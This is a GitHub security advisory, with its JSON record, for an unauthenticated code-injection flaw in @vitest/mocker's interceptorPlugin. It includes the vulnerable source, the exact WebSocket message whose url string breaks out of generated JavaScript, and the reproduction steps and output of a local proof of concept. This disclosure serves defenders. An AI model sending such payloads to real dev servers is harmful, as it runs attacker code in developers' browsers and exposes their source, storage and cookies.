GHSA-QXG6-89MG-RQV8
Vulnerability from github – Published: 2026-10-21 19:54 – Updated: 2026-10-21 19:54Summary
@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.
Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.
Patches
Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.
Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.
Details
packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:
export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`
moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.
packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:
configureServer(server) {
if (options.registerWebSocketEvents === false) { return }
server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
if (event.type === 'manual') {
const module = ManualMockedModule.fromJSON(event, async () => {
const keys = await getFactoryExports(event.url)
return Object.fromEntries(keys.map(key => [key, null]))
})
registry.add(module) // no validation of `id` or `url`
}
else {
if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }
event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.
With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.
Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.
PoC
poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.
Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.
git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh
Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):
import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()
The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:
{ "type": "custom", "event": "vitest:interceptor:register",
"data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
"url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }
then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.
Observed output:
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400
PASS negative control: with no mock registered the real module is served
PASS negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
let __0 = __factoryModule__["a"]
export { __0 as "a" }
if (__factoryModule__.__factoryPromise != null) {
__factoryModule__.__factoryPromise.then((resolvedModule) => {
__0 = resolvedModule["a"];
})
}
PASS attacker statement is present in the module the dev server serves
PASS the real module body was replaced
PASS the injected module parses as JavaScript (Vite import analysis accepted it)
RESULT: VULNERABLE
- Positive control — with no mock registered,
/src/app.jsis served with its real body, so the harness demonstrably works. - Negative control — the same registration with a harmless
urlreplaces the module but injects nothing, attributing the injection to the payload rather than to mock registration. - Precondition controls — the two
Originprobes record the boundary honestly. - Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.
Reproduced three times from a clean mktemp fixture, exit 0 each time.
Impact
Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vitest/mocker"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0-beta.7"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vitest/mocker"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-beta.1"
},
{
"fixed": "5.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112949"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-306",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T19:54:26Z",
"nvd_published_at": "2026-10-20T16:17:05Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`@vitest/mocker`\u0027s `interceptorPlugin` accepts mock registrations on Vite\u0027s dev-server WebSocket with no authentication, and interpolates the mock\u0027s `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer\u0027s browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = \u0027\"__vitest_mocker__\"\u0027): string {\n const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n if (options.registerWebSocketEvents === false) { return }\n server.ws.on(\u0027vitest:interceptor:register\u0027, (event: MockedModuleSerialized) =\u003e {\n if (event.type === \u0027manual\u0027) {\n const module = ManualMockedModule.fromJSON(event, async () =\u003e {\n const keys = await getFactoryExports(event.url)\n return Object.fromEntries(keys.map(key =\u003e [key, null]))\n })\n registry.add(module) // no validation of `id` or `url`\n }\n else {\n if (event.type === \u0027redirect\u0027) { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = \u0027x\"); globalThis.ARES_INJECTED = 1; void(\"\u0027` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too \u2014 but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it \u2014 the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server\u0027s port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` \u2014 `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text \u2014 the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest \u0026\u0026 cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install \u0026\u0026 pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration \u2014 the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from \u0027@vitest/mocker/node\u0027\nexport default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://\u003chost\u003e:\u003cport\u003e/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"\u003cabs path of a served module\u003e\",\n \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server\u0027s `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"\u003csame url\u003e\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400\nPASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400\nPASS negative control: with no mock registered the real module is served\nPASS negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n let __0 = __factoryModule__[\"a\"]\n export { __0 as \"a\" }\n if (__factoryModule__.__factoryPromise != null) {\n __factoryModule__.__factoryPromise.then((resolvedModule) =\u003e {\n __0 = resolvedModule[\"a\"];\n })\n }\nPASS attacker statement is present in the module the dev server serves\nPASS the real module body was replaced\nPASS the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** \u2014 with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** \u2014 the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** \u2014 the two `Origin` probes record the boundary honestly.\n* Vite\u0027s import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer\u0027s browser on the dev-server origin: reading source through the dev server, reading that origin\u0027s storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only \u2014 `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.",
"id": "GHSA-qxg6-89mg-rqv8",
"modified": "2026-10-21T19:54:26Z",
"published": "2026-10-21T19:54:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112949"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitest-dev/vitest"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vitest: Code injection via unauthenticated manual mock registration"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.